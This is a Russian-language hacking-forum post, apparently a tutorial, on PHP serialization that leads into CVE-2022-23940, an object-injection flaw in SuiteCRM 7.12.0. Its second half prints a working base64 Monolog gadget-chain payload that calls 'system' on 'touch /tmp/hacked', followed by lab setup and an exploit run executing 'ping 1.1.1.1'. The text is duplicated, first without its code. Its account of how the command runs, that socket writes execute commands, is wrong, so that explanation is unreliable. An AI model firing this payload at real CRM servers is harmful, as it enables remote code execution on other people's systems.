D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Хотел написать статью про другую уязвимость, но отвлёкся и обнаружил себя среди путаницы, которую теперь постараюсь объяснить. Если я где то не так написал, грамматически или технически, не стесняйтесь исправлять.
Кодирование (encoding) — это процесс преобразования данных из одного формата в другой. Обычно это делается для того, чтобы данные можно было передавать по сети или хранить в определенной форме. Например:
Кодирование текста
Представьте, что у вас есть текст "Привет" и вы хотите передать его по сети. Чтобы избежать проблем с несовместимостью символов, вы кодируете этот текст в UTF-8.
Код: Скопировать в буфер обмена
Таблица на английском:
Также есть сайт: https://planetcalc.com/9033/
Сериализация — это процесс преобразования данных (объекта) в переносимый формат (поток байтов). Сериализовать можно любые данные, даже уже сериализованные. Например:
Представьте, что у вас есть объект в программе, например, объект пользователя:
Код: Скопировать в буфер обмена
Вы хотите сохранить этот объект в файл или передать его по сети. Вы сериализуете его в формат JSON:
Код: Скопировать в буфер обмена
Этот JSON можно сохранить в файл или передать по сети. Когда вам нужно будет восстановить объект, вы десериализуете JSON обратно в объект:
Код: Скопировать в буфер обмена
Основная цель сериализации — сохранить состояние объекта или структуры данных для хранения и передачи. Сериализованные данные могут быть легко читаемы человеком, особенно если используются форматы вроде JSON или XML. Допустим, у вас есть игра, и вы хотите сохранить текущее состояние игры. Вы можете сериализовать объект состояния игры в JSON и сохранить его в файл. Когда игрок возвращается, вы можете десериализовать этот файл обратно в объект и продолжить игру с того же места.
XML-файлы начинаются с пролога, который обычно содержит декларацию XML с указанием версии и кодировки.
Код: Скопировать в буфер обмена
Далее следует корневой элемент, который может содержать вложенные элементы. Каждый элемент XML должен иметь начальный и конечный теги, и структура элементов должна быть строго иерархической. Элементы XML могут содержать атрибуты в формате "имя-значение", текст, другие элементы или их комбинацию. Например, элемент Gamer содержит атрибут id и вложенные элементы name и type.
Код: Скопировать в буфер обмена
JSON представляет данные в формате пар "ключ-значение". Ключи всегда являются строками, а значения могут быть любого типа данных JSON, включая объекты, массивы... JSON-объекты заключаются в фигурные скобки {}, а массивы – в квадратные скобки []. В JSON строки могут содержать различные символы, включая специальные символы, которые требуют использования escape-последовательностей для корректного представления. Эти escape-последовательности обеспечивают правильную интерпретацию символов и предотвращают ошибки при разборе JSON-документа.
Код: Скопировать в буфер обмена
YAML имеет строгие правила отступов, и правильное парсинг данных возможен только при правильном использовании пробелов. YAML-документы начинаются с трех дефисов --- и заканчиваются тремя точками .... Комментарии обозначаются знаком решетки # (На остальные можете отсюда посмотреть: https://kapeli.com/cheat_sheets/YAML.docset/Contents/Resources/Documents/index). CVE-2000-0114.yaml:
Код: Скопировать в буфер обмена
Написан на PHP и использует Symfony .
serialize() и unserialize()
Функция serialize() преобразует переменную PHP в строку, которую можно сохранить или передать, а функция unserialize() выполняет обратный процесс.
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Давайте разберём данный пример более подробно.
a:3: - это начало ассоциативного массива, содержащего 3 элемента. a означает, что это массив (array). 3 - количество элементов в массиве.
s:4:"name";s:4:"Andy";s:4:"name" - строка (string) длиной 4 символа с значением "name". s:4:"Andy" - строка длиной 4 символа с значением "Andy".
s:3:"age";i:34; s:3:"age" - строка длиной 3 символа с значением "age". i:34 - целое число (integer) со значением 34.
В этом массиве, есть ещё один массив - s:9:"languages";a:3:{i:0;s:7:"Russian";i:1;s:7:"English";i:2;s:5:"Latin";}
s:9:"languages" - строка длиной 9 символов с значением "languages".
i:0;s:7:"Russian"; i:0 - индекс массива с значением 0. s:7:"Russian" - строка длиной 7 символов с значением "Russian".
json_encode() и json_decode()
Функции json_encode() и json_decode() используются для преобразования данных в формат JSON и обратно.
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Здесь нечего объяснять.
Магические методы для сериализации и десериализации
В PHP также существуют магические методы, которые используются в процессе сериализации и десериализации объектов: __sleep, __wakeup, __unserialize, __destruct и __toString.
__sleep
Метод __sleep вызывается перед сериализацией объекта. Он должен возвращать массив с именами всех свойств объекта, которые должны быть сериализованы. Этот метод часто используется для завершения незавершённых операций или очистки данных.
Код: Скопировать в буфер обмена
\
Ответ:
Код: Скопировать в буфер обмена
__wakeup
Метод __wakeup вызывается при десериализации объекта. Он используется для восстановления соединений с базой данных.
Код: Скопировать в буфер обмена
__unserialize
Метод __unserialize вызывается вместо __wakeup при десериализации объекта.
Код: Скопировать в буфер обмена
Разница между ансериалайз и вейк ап (Читать не советую)
Когда вы десериализуете объект с помощью unserialize(), PHP восстанавливает свойства объекта из сериализованных данных. Затем вызывается метод __wakeup, и вы можете получить доступ к этим свойствам через $this. Однако у вас нет контроля над процессом восстановления свойств; они уже восстановлены до вызова __wakeup.
Код: Скопировать в буфер обмена
В методе __unserialize у вас есть прямой доступ к массиву данных $data, и вы можете использовать его для восстановления состояния объекта. Это позволяет вам контролировать процесс десериализации с большей точностью, устанавливать значения свойств и применять любую необходимую логику непосредственно при восстановлении объекта.
Код: Скопировать в буфер обмена
__destruct
Метод __destruct вызывается при уничтожении объекта или при завершении работы скрипта. Обычно он используется для выполнения задач очистки, таких как закрытие файловых дескрипторов или соединений с базой данных.
Код: Скопировать в буфер обмена
__toString
Метод __toString позволяет объекту быть преобразованным в строку. Это может быть полезно для чтения файла или выполнения других задач, предоставляя текстовое представление объекта.
Код: Скопировать в буфер обмена
Ответ:
Код: Скопировать в буфер обмена
Так как же эти функции ведут к РЦЕ?
Вкратце, как я понял, какой то продукт использует функцию десериализации и скажем библиотеку Х. Хацкер вызывает объект в этой библиотеке, который будет обрабатывать то что мы написали как команду.
Код: Скопировать в буфер обмена
Так будет более понятней:
Код: Скопировать в буфер обмена
Как человек который программированием не занимается, увидев это первым делом загуглил "Monolog\Handler\SyslogUdpHandler", вышел лаварел, который в нашем продукте вроде бы не используется. Понял что монолог это библиотека, которая как раз таки есть в composer.json. Понимаем что здесь что-то связанное с логировсанием и буфером. Прежде чем как просмотреть сам уязвимый код, поверхностно чекнем то что в верхнем пейлоаде написано, чтобы увидев код у нас не возник вопрос "А где RCE то?"
Класс SyslogUdpHandler из Monolog используется для отправки логов на удаленный syslog-сервер через UDP. Важной частью этого класса является использование сокетов для отправки данных. (https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/SyslogUdpHandler.php)
Когда Monolog обрабатывает лог-сообщения, он проверяет, есть ли записи в буфере, и передает их следующему обработчику. В данном случае, буфер содержит не просто лог-сообщения, а специально подготовленные данные:
Код: Скопировать в буфер обмена
Метод handle класса BufferHandler сохраняет записи в буфер и, при необходимости, передает их следующему обработчику. В этой уязвимости важно понять, что данные в буфере обрабатываются не как простые строки, а как структуры данных, которые могут включать команды:
Код: Скопировать в буфер обмена
Наверху 3 основные функции, handle, flush, clear. Функция flush передает все записи из буфера следующему обработчику. В данном случае, следующему обработчику SyslogUdpHandler, который записывает данные в сокет:
Код: Скопировать в буфер обмена
Специально подготовленные данные в буфере могут включать команды, которые при передаче и записи в сокет будут интерпретированы и выполнены системой. В нашем случае, команда touch /tmp/hacked создаст файл /tmp/hacked на системе, где выполняется код.
Всё ещё не поняли?
Когда данные записываются в сокет через метод write, система интерпретирует их как команды, которые выполняются. Глубже чем это пойти я не осилю, этот анализ сделал благодаря GPT. Также учтите что нынче в основном это не нужно бывает, тк есть софт про который автор эксплоита сам написал: https://github.com/ambionics/phpggc. Автор там использовал Monolog/RCE2.
Анализ уязвимого кода
Код: Скопировать в буфер обмена
В параметр email_recipients можно добавить любые закодированные в base64 + сериализованные данные, нет проверки которая предотвратила бы добавление данных кроме email_target_type и email. Как раз так и в фиксе убрали код выше и добавли код ниже, который проверяет сериализованные данные которые принимаются (https://github.com/salesagility/Sui...8cb4fe88342c6b0166cfcf06f57589120853a3f2ad2f2)
Код: Скопировать в буфер обмена
Так зачем нам всё что я написал выше?
Потому что без этого не понять как функция которая из одного формата в другой переводит, может быть причиной RCE.
Код: Скопировать в буфер обмена
Открываем http://127.0.0.1/SuiteCRM-7.12.0/install.php и видим что нужно composer загрузить
Код: Скопировать в буфер обмена
Меняем файл /etc/php/8.1/apache2/php.ini
Код: Скопировать в буфер обмена
Пишем команду
Код: Скопировать в буфер обмена
Создаём бд и пользователя suitecrm
Код: Скопировать в буфер обмена
Значит либо проблема с верией php, либо проблема в их коде, нужно открыть файл install/performSetup.php строку 715 и заменить
Код: Скопировать в буфер обмена
Открываем http://127.0.0.1/SuiteCRM-7.12.0/install.php, пишем данные бд, на демо ставим "Да" и продолжаем (в SuiteCRM Database User выбираем provide existing user).
Если вы воспользуетесь эксплоитом (https://github.com/manuelz120/CVE-2022-23940), то он будет работать без проблем:
Код: Скопировать в буфер обмена
Продолжение следует...
Кодирование (encoding) — это процесс преобразования данных из одного формата в другой. Обычно это делается для того, чтобы данные можно было передавать по сети или хранить в определенной форме. Например:
Кодирование текста
Представьте, что у вас есть текст "Привет" и вы хотите передать его по сети. Чтобы избежать проблем с несовместимостью символов, вы кодируете этот текст в UTF-8.
Код: Скопировать в буфер обмена
Код:
Привет
# Кодирование в UTF-8
D0 9F D1 80 D0 B8 D0 B2 D0 B5 D1 82
Сериализация — это процесс преобразования данных (объекта) в переносимый формат (поток байтов). Сериализовать можно любые данные, даже уже сериализованные. Например:
Представьте, что у вас есть объект в программе, например, объект пользователя:
Код: Скопировать в буфер обмена
Код:
user = {
"name": "Andy",
"age": 34,
"email": "andy@xss.is"
}
Код: Скопировать в буфер обмена
Код:
{
"name": "Andy",
"age": 34,
"email": "andy@xss.is"
}
Код: Скопировать в буфер обмена
user = json.loads(json_string)
### А какая разница и зачем нам это всё?
Кодирование данных необходимо для обеспечения переносимости и отображения данных. Оно не предоставляет безопасности, как шифрование, но может быть использовано в сочетании с ним. Например, данные можно кодировать в base64 или hex для безопасного перемещения по сетям и приложениям, избегая при этом невидимых символов и управляющих команд, которые могут вызвать проблемы. Закодированные данные часто не читаемы человеком.Основная цель сериализации — сохранить состояние объекта или структуры данных для хранения и передачи. Сериализованные данные могут быть легко читаемы человеком, особенно если используются форматы вроде JSON или XML. Допустим, у вас есть игра, и вы хотите сохранить текущее состояние игры. Вы можете сериализовать объект состояния игры в JSON и сохранить его в файл. Когда игрок возвращается, вы можете десериализовать этот файл обратно в объект и продолжить игру с того же места.
### Основы XML
XML (Extensible Markup Language) был создан на основе языка SGML (Standard Generalized Markup Language) в 1996 году и получил широкое распространение в 1998 году. XML используется для системной интеграции и передачи данных между различными системами. В отличие от HTML, который используется для отображения информации в веб-браузерах, XML часто используется для обмена данными между системами и создания интерфейсов.XML-файлы начинаются с пролога, который обычно содержит декларацию XML с указанием версии и кодировки.
Код: Скопировать в буфер обмена
<?xml version="1.0" encoding="UTF-8"?>
Далее следует корневой элемент, который может содержать вложенные элементы. Каждый элемент XML должен иметь начальный и конечный теги, и структура элементов должна быть строго иерархической. Элементы XML могут содержать атрибуты в формате "имя-значение", текст, другие элементы или их комбинацию. Например, элемент Gamer содержит атрибут id и вложенные элементы name и type.
Код: Скопировать в буфер обмена
Код:
<Gamers>
<Gamer id="G1">
<name>Random Adventure Game</name>
<type>Adventure</type>
</Gamer>
<Gamer id="G2">
<name>Random Adventure Game 2</name>
<type>Adventure</type>
</Gamer>
</Gamers>
### Основы JSON
JSON (JavaScript Object Notation) изначально был разработан для использования с JavaScript, но в настоящее время он поддерживается многими языками программирования. JSON стандартизирован IETF (Internet Engineering Task Force) и используется для передачи данных в веб-приложениях благодаря своей простоте и читабельности.JSON представляет данные в формате пар "ключ-значение". Ключи всегда являются строками, а значения могут быть любого типа данных JSON, включая объекты, массивы... JSON-объекты заключаются в фигурные скобки {}, а массивы – в квадратные скобки []. В JSON строки могут содержать различные символы, включая специальные символы, которые требуют использования escape-последовательностей для корректного представления. Эти escape-последовательности обеспечивают правильную интерпретацию символов и предотвращают ошибки при разборе JSON-документа.
Код: Скопировать в буфер обмена
Код:
\ (обратная косая черта):
Используется для представления самой обратной косой черты.
Пример: "C:\\Program Files\\MyApp"
" (двойные кавычки):
Используется для представления двойных кавычек внутри строки.
Пример: "She said, \"Hello!\""
/ (прямая косая черта):
Используется для представления прямой косой черты. Обычно она не требует escape, но иногда используется для совместимости.
Пример: "http:\/\/www.example.com"
\b (возврат в начало):
Представляет символ возврата в начало (Backspace).
Пример: "Hello\bWorld" будет интерпретироваться как "HellWorld", так как \b удаляет "o".
\f (прогон страницы):
Представляет символ прогонки страницы (Formfeed).
Пример: "Hello\fWorld" интерпретируется как "Hello World" с прогонкой страницы между ними (Используется для управления печатью, заставляя принтер перейти на новую страницу).
\n (новая строка):
Представляет символ новой строки.
Пример: "Hello\nWorld"
\t (табуляция - tab):
Представляет символ табуляции.
Пример: "Hello\tWorld" интерпретируется как "Hello World", где между "Hello" и "World" вставляется tab.
### Основы YAML
YAML (YAML Ain't Markup Language / Yet Another Markup Language) был создан как гибкий язык сериализации данных и получил (широкое?) применение в конфигурационных файлах для пентест инструментов, таких как Nuclei . YAML позволяет использовать все печатные символы Unicode, включая управляющие символы, за исключением табуляции.YAML имеет строгие правила отступов, и правильное парсинг данных возможен только при правильном использовании пробелов. YAML-документы начинаются с трех дефисов --- и заканчиваются тремя точками .... Комментарии обозначаются знаком решетки # (На остальные можете отсюда посмотреть: https://kapeli.com/cheat_sheets/YAML.docset/Contents/Resources/Documents/index). CVE-2000-0114.yaml:
Код: Скопировать в буфер обмена
Код:
id: CVE-2000-0114
info:
name: Microsoft FrontPage Extensions Check (shtml.dll)
author: r3naissance
severity: medium
description: Frontpage Server Extensions allows remote attackers to determine the name of the anonymous account via an RPC POST request to shtml.dll in the /_vti_bin/ virtual directory.
impact: |
High: Remote code execution or denial of service.
remediation: Upgrade to the latest version.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2000-0114
- https://www.exploit-db.com/exploits/19897
- https://exchange.xforce.ibmcloud.com/vulnerabilities/CVE-2000-0114
- https://github.com/0xPugazh/One-Liners
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2000-0114
cwe-id: NVD-CWE-Other
epss-score: 0.15958
epss-percentile: 0.95829
cpe: cpe:2.3:a:microsoft:internet_information_server:3.0:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: microsoft
product: internet_information_server
tags: cve,cve2000,frontpage,microsoft,edb
http:
- method: GET
path:
- '{{BaseURL}}/_vti_inf.html'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "_vti_bin/shtml.dll"
- type: status
status:
- 200
# digest: 4b0a00483046022100f18bd6804b42bce98cc02cea3261854e17f9d58bcb7034e2dc7289c456c57c0d022100d91840b613c0b2544a15e2ae802e176fea630dee4788fe64c5e40f9082bc1374:922c64590222798bb761d5b6d8e72950
## CVE-2022-23940
Эта уязвимость для меня более запутана, чем любая другая уязвимость, связанная с вебом. Потому что нужно учитывать множество вещей, а у меня нет знаний о буфере, который, насколько я понимаю, является ключевым моментом в данном случае. Начнем с основ (буфер трогать я не буду). Ставим песню Adele - Skyfall.### Начало [Про Софт]
SuiteCRM — это бесплатная и открытая система управления взаимоотношениями с клиентами (CRM), основанная на платформе SugarCRM. SugarCRM — это система управления взаимоотношениями с клиентами (CRM), которая помогает организациям управлять продажами, маркетингом и поддержкой клиентов. SuiteCRM основан на SugarCRM, потому что изначально это был форк (ответвление) SugarCRM Community Edition (CE). Когда SugarCRM прекратила поддержку и развитие своей открытой версии CE, разработчики SuiteCRM решили продолжить развитие этого продукта, добавляя новые функции и улучшения.### Что нужно для работы SuiteCRM? На чём это написано? Какой фреймворк? Какие библиотеки?
Весь список можно увидеть тут: https://raw.githubusercontent.com/salesagility/SuiteCRM/hotfix/composer.jsonНаписан на PHP и использует Symfony .
### Глубже в сериализацию
В PHP для сериализации предусмотрены различные функции, такие как serialize(), unserialize(), json_encode(), json_decode() и другие.serialize() и unserialize()
Функция serialize() преобразует переменную PHP в строку, которую можно сохранить или передать, а функция unserialize() выполняет обратный процесс.
Код: Скопировать в буфер обмена
Код:
<?php
// Создаем массив
$data = array(
"name" => "Andy",
"age" => 34,
"languages" => array("Russian", "English", "Latin")
);
// Сериализация массива
$serializedData = serialize($data);
echo "Serialized data: " . $serializedData . "\n";
// Десериализация строки обратно в массив
$unserializedData = unserialize($serializedData);
print_r($unserializedData);
?>
Код: Скопировать в буфер обмена
Код:
Serialized data: a:3:{s:4:"name";s:4:"Andy";s:3:"age";i:34;s:9:"languages";a:3:{i:0;s:7:"Russian";i:1;s:7:"English";i:2;s:5:"Latin";}}
Array
(
[name] => Andy
[age] => 34
[languages] => Array
(
[0] => Russian
[1] => English
[2] => Latin
)
)
a:3: - это начало ассоциативного массива, содержащего 3 элемента. a означает, что это массив (array). 3 - количество элементов в массиве.
s:4:"name";s:4:"Andy";s:4:"name" - строка (string) длиной 4 символа с значением "name". s:4:"Andy" - строка длиной 4 символа с значением "Andy".
s:3:"age";i:34; s:3:"age" - строка длиной 3 символа с значением "age". i:34 - целое число (integer) со значением 34.
В этом массиве, есть ещё один массив - s:9:"languages";a:3:{i:0;s:7:"Russian";i:1;s:7:"English";i:2;s:5:"Latin";}
s:9:"languages" - строка длиной 9 символов с значением "languages".
i:0;s:7:"Russian"; i:0 - индекс массива с значением 0. s:7:"Russian" - строка длиной 7 символов с значением "Russian".
json_encode() и json_decode()
Функции json_encode() и json_decode() используются для преобразования данных в формат JSON и обратно.
Код: Скопировать в буфер обмена
Код:
<?php
// Создаем массив
$data = array(
"name" => "Andy",
"age" => 34,
"languages" => array("Russian", "English", "Latin")
);
// Преобразование массива в JSON строку
$jsonData = json_encode($data);
echo "JSON data: " . $jsonData . "\n";
// Преобразование JSON строки обратно в массив
$decodedData = json_decode($jsonData, true);
print_r($decodedData);
?>
Код: Скопировать в буфер обмена
Код:
JSON data: {"name":"Andy","age":34,"languages":["Russian","English","Latin"]}
Array
(
[name] => Andy
[age] => 34
[languages] => Array
(
[0] => Russian
[1] => English
[2] => Latin
)
)
Магические методы для сериализации и десериализации
В PHP также существуют магические методы, которые используются в процессе сериализации и десериализации объектов: __sleep, __wakeup, __unserialize, __destruct и __toString.
__sleep
Метод __sleep вызывается перед сериализацией объекта. Он должен возвращать массив с именами всех свойств объекта, которые должны быть сериализованы. Этот метод часто используется для завершения незавершённых операций или очистки данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $name;
public $age;
private $password;
public function __construct($name, $age, $password) {
$this->name = $name;
$this->age = $age;
$this->password = $password;
}
public function __sleep() {
return ['name', 'age'];
}
}
$user = new User("Andy", 34, "securepassword");
$serializedUser = serialize($user);
echo "Serialized User: " . $serializedUser . "\n";
?>
Ответ:
Код: Скопировать в буфер обмена
Serialized User: O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}
__wakeup
Метод __wakeup вызывается при десериализации объекта. Он используется для восстановления соединений с базой данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __wakeup() {
// Код для восстановления соединений и других задач
echo "Object has been deserialized and reinitialized.\n";
}
}
$serializedUser = 'O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}';
$user = unserialize($serializedUser);
echo $user
?>
Метод __unserialize вызывается вместо __wakeup при десериализации объекта.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __unserialize(array $data) {
$this->name = $data['name'];
$this->age = $data['age'];
// Дополнительный код для инициализации
echo "Object has been deserialized and reinitialized using __unserialize.\n";
}
}
$serializedUser = 'O:4:"User":2:{s:4:"name";s:4:"Andy";s:3:"age";i:34;}';
$user = unserialize($serializedUser);
?>
Когда вы десериализуете объект с помощью unserialize(), PHP восстанавливает свойства объекта из сериализованных данных. Затем вызывается метод __wakeup, и вы можете получить доступ к этим свойствам через $this. Однако у вас нет контроля над процессом восстановления свойств; они уже восстановлены до вызова __wakeup.
Код: Скопировать в буфер обмена
Код:
class MyClass {
private $name;
private $age;
public function __wakeup() {
// Восстановленные свойства объекта
if ($this->age < 0) {
$this->age = 0; // Исправление значения
}
}
}
// Пример сериализации и десериализации
$obj = new MyClass();
$obj->name = "Andy";
$obj->age = -34;
$serialized = serialize($obj);
$deserialized = unserialize($serialized);
// В момент вызова __wakeup все свойства объекта уже восстановлены из сериализованных данных
Код: Скопировать в буфер обмена
Код:
class MyClass {
private $name;
private $age;
public function __unserialize(array $data): void {
// Восстановление свойств объекта из массива данных
$this->name = $data['name'] ?? 'defaultName';
$this->age = $data['age'] ?? 0;
if ($this->age < 0) {
$this->age = 0; // Исправление значения
}
}
public function __serialize(): array {
return [
'name' => $this->name,
'age' => $this->age,
];
}
}
// Пример сериализации и десериализации
$obj = new MyClass();
$obj->name = "Andy";
$obj->age = -34;
$serialized = serialize($obj);
$deserialized = unserialize($serialized);
// В момент вызова __unserialize свойства объекта восстанавливаются вручную
Метод __destruct вызывается при уничтожении объекта или при завершении работы скрипта. Обычно он используется для выполнения задач очистки, таких как закрытие файловых дескрипторов или соединений с базой данных.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __destruct() {
// Код для выполнения задач очистки
echo "Object has been destroyed.\n";
}
}
$user = new User("Andy", 34);
unset($user); // Принудительно уничтожаем объект
?>
Метод __toString позволяет объекту быть преобразованным в строку. Это может быть полезно для чтения файла или выполнения других задач, предоставляя текстовое представление объекта.
Код: Скопировать в буфер обмена
Код:
<?php
class User {
public $name;
public $age;
public function __construct($name, $age) {
$this->name = $name;
$this->age = $age;
}
public function __toString() {
return "Name: " . $this->name . ", Age: " . $this->age;
}
}
$user = new User("Andy", 34);
echo $user; // Использует метод __toString для вывода объекта в виде строки
?>
Код: Скопировать в буфер обмена
Name: Andy, Age: 34
Так как же эти функции ведут к РЦЕ?
Вкратце, как я понял, какой то продукт использует функцию десериализации и скажем библиотеку Х. Хацкер вызывает объект в этой библиотеке, который будет обрабатывать то что мы написали как команду.
### Сама уязвимость
В эксплоите есть такой пэйлоад:Код: Скопировать в буфер обмена
YToyOntpOjc7TzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czoxNzoidG91Y2ggL3RtcC9oYWNrZWQiO3M6NToibGV2ZWwiO047fX1zOjg6IgAqAGxldmVsIjtOO3M6MTQ6IgAqAGluaXRpYWxpemVkIjtiOjE7czoxNDoiACoAYnVmZmVyTGltaXQiO2k6LTE7czoxMzoiACoAcHJvY2Vzc29ycyI7YToyOntpOjA7czo3OiJjdXJyZW50IjtpOjE7czo2OiJzeXN0ZW0iO319fWk6NztpOjc7fQ==
Так будет более понятней:
Код: Скопировать в буфер обмена
Код:
a:2:{
i:7;
O:32:"Monolog\Handler\SyslogUdpHandler":1:{
s:9:"\0*\0socket";
O:29:"Monolog\Handler\BufferHandler":7:{
s:10:"\0*\0handler";
O:29:"Monolog\Handler\BufferHandler":7:{
s:10:"\0*\0handler";N;
s:13:"\0*\0bufferSize";i:-1;
s:9:"\0*\0buffer";a:1:{
i:0;a:2:{
i:0;s:17:"touch /tmp/hacked";
s:5:"level";N;
}
}
s:8:"\0*\0level";N;
s:14:"\0*\0initialized";b:1;
s:14:"\0*\0bufferLimit";i:-1;
s:13:"\0*\0processors";a:2:{
i:0;s:7:"current";
i:1;s:6:"system";
}
}
s:13:"\0*\0bufferSize";i:-1;
s:9:"\0*\0buffer";a:1:{
i:0;a:2:{
i:0;s:17:"touch /tmp/hacked";
s:5:"level";N;
}
}
s:8:"\0*\0level";N;
s:14:"\0*\0initialized";b:1;
s:14:"\0*\0bufferLimit";i:-1;
s:13:"\0*\0processors";a:2:{
i:0;s:7:"current";
i:1;s:6:"system";
}
}
}
i:7;
i:7;
}
Класс SyslogUdpHandler из Monolog используется для отправки логов на удаленный syslog-сервер через UDP. Важной частью этого класса является использование сокетов для отправки данных. (https://github.com/Seldaek/monolog/blob/main/src/Monolog/Handler/SyslogUdpHandler.php)
Когда Monolog обрабатывает лог-сообщения, он проверяет, есть ли записи в буфере, и передает их следующему обработчику. В данном случае, буфер содержит не просто лог-сообщения, а специально подготовленные данные:
Код: Скопировать в буфер обмена
Код:
a:1:{
i:0; a:2:{
i:0; s:17:"touch /tmp/hacked";
s:5:"level"; N;
}
}
Код: Скопировать в буфер обмена
Код:
public function handle(LogRecord $record): bool
{
if ($record->level->isLowerThan($this->level)) {
return false;
}
if (!$this->initialized) {
// __destructor() doesn't get called on Fatal errors
register_shutdown_function([$this, 'close']);
$this->initialized = true;
}
// Проверка размера буфера и его сброс при необходимости
if ($this->bufferLimit > 0 && $this->bufferSize === $this->bufferLimit) {
if ($this->flushOnOverflow) {
$this->flush();
} else {
array_shift($this->buffer);
$this->bufferSize--;
}
}
if (\count($this->processors) > 0) {
$record = $this->processRecord($record);
}
// Добавление записи в буфер
$this->buffer[] = $record;
$this->bufferSize++;
return false === $this->bubble;
}
public function flush(): void
{
if ($this->bufferSize === 0) {
return;
}
$this->handler->handleBatch($this->buffer);
$this->clear(); # Очистка буфера
}
public function clear(): void
{
$this->bufferSize = 0;
$this->buffer = []; # Очистка буфера
}
Код: Скопировать в буфер обмена
Код:
protected function write(LogRecord $record): void
{
$lines = $this->splitMessageIntoLines($record->formatted);
$header = $this->makeCommonSyslogHeader($this->toSyslogPriority($record->level), $record->datetime);
foreach ($lines as $line) {
$this->socket->write($line, $header);
}
}
Всё ещё не поняли?
Когда данные записываются в сокет через метод write, система интерпретирует их как команды, которые выполняются. Глубже чем это пойти я не осилю, этот анализ сделал благодаря GPT. Также учтите что нынче в основном это не нужно бывает, тк есть софт про который автор эксплоита сам написал: https://github.com/ambionics/phpggc. Автор там использовал Monolog/RCE2.
Анализ уязвимого кода
Код: Скопировать в буфер обмена
Код:
public function save($check_notify = false)
{
if (isset($_POST['email_recipients']) && is_array($_POST['email_recipients'])) {
$this->email_recipients = base64_encode(serialize($_POST['email_recipients']));
}
Код: Скопировать в буфер обмена
Код:
protected function parseRecipients(): void
{
$recipients = $_POST['email_recipients'] ?? null;
unset($_POST['email_recipients'], $_REQUEST['email_recipients'], $_GET['email_recipients']);
$this->email_recipients = null;
if (is_array($recipients)) {
$types = $recipients['email_target_type'] ?? [];
$emailInfo = $recipients['email'] ?? [];
$recipients = [
'email_target_type' => $types,
'email' => $emailInfo,
];
$this->email_recipients = base64_encode(serialize($recipients));
}
}
Потому что без этого не понять как функция которая из одного формата в другой переводит, может быть причиной RCE.
### Проверка Эксплоита
Значит версия 7.12.0 уязвима, её можно так поднять:Код: Скопировать в буфер обмена
Код:
wget 'https://github.com/salesagility/SuiteCRM/archive/refs/tags/v7.12.0.zip'
unzip v7.12.0.zip
chown www-data:www-data /var/www/html -R
Код: Скопировать в буфер обмена
Код:
apt update && apt install composer -y
cd SuiteCRM-7.12.0
apt install php-mysql php-xml php-curl php-gd php-imap php-zip php-dom -y
composer install
Код: Скопировать в буфер обмена
upload_max_filesize = 10M
Пишем команду
Код: Скопировать в буфер обмена
service apache2 restart
Создаём бд и пользователя suitecrm
Код: Скопировать в буфер обмена
Код:
CREATE DATABASE suitecrm_db;
CREATE USER 'suitecrm_user'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON suitecrm_db.* TO 'suitecrm_user'@'localhost';
FLUSH PRIVILEGES;
EXIT;
GLOBALS = $varStack['GLOBALS'];
наКод: Скопировать в буфер обмена
Код:
foreach ($varStack['GLOBALS'] as $key => $value) {
$GLOBALS[$key] = $value;
}
Если вы воспользуетесь эксплоитом (https://github.com/manuelz120/CVE-2022-23940), то он будет работать без проблем:
Код: Скопировать в буфер обмена
Код:
python3 exploit.py -u admin -p admin --host http://127.0.0.1/SuiteCRM-7.12.0/ -P 'ping 1.1.1.1'
======
www-data 1778 985 0 15:21 ? 00:00:00 sh -c ping 1.1.1.1
www-data 1779 1778 0 15:21 ? 00:00:00 ping 1.1.1.1
Заключение
В этой статье мы познакомились с сериализацией, чекнули цвешку а в следующей будет эксплаутация. моя цель чтобы мы могли написать эксплоиты такого рода сами.Продолжение следует...